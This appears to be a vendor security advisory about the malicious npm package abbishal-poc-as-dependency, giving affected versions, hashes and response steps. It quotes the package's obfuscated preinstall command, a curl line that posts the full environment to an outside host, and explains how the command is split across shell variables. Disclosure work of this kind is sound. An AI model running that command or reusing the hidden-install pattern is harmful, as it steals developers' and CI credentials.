Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

abbishal-poc-as-dependencynpm

Advisory published Updated

abbishal-poc-as-dependency is a confirmed malicious npm package (MAL-2026-17653) that steals credentials and exfiltrates sensitive data (malicious versions 1.3.0, 1.3.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in abbishal-poc-as-dependency (npm)

MAL-2026-17653
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall abbishal-poc-as-dependency

What this malware does

package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$(env)" https://abbishal.com/sh/installation-success command by splitting the tokens curl, env, and -d across single-character shell variables (i=c, s=u, a=rl, t=en) and reconstructing them via variable concatenation and command substitution. On npm install this POSTs the entire output of env — the installer shell/CI's full process environment, including any exported secrets such as CI tokens, cloud credentials (AWS_*, GCP, Azure), and npm publish tokens — to a hardcoded third-party host. The README asserts that the package performs no network requests, no filesystem access, no data collection, and has no preinstall/postinstall lifecycle scripts, directly contradicting the shipped manifest and script. The variable-fragment obfuscation and the cover-story README indicate deliberate evasion rather than a legitimate placeholder or canary.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged
1.3.01.3.1

Indicators of compromise (SHA-256)

484b402674ecbe568cbba8f2ceea75416fe46fc6ab549ae19594915eccbbfbe8
bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53
4e09561cd1ef0eb96fc2797d95fd0f6fb63fab28fe5b207351a2311ad7df0b78

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for abbishal-poc-as-dependency (2 malicious versions).

  2. If you installed it — respond

    abbishal-poc-as-dependency is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If abbishal-poc-as-dependency was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. abbishal-poc-as-dependency on npm has been identified as a malicious package (versions 1.3.0, 1.3.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021106IN-MAL-2026-021105GHSA-pj66-3vwh-cgm2

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks abbishal-poc-as-dependency-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

abbishal-poc-as-dependency (npm) malicious package — MAL-2026-17653 | O3 Security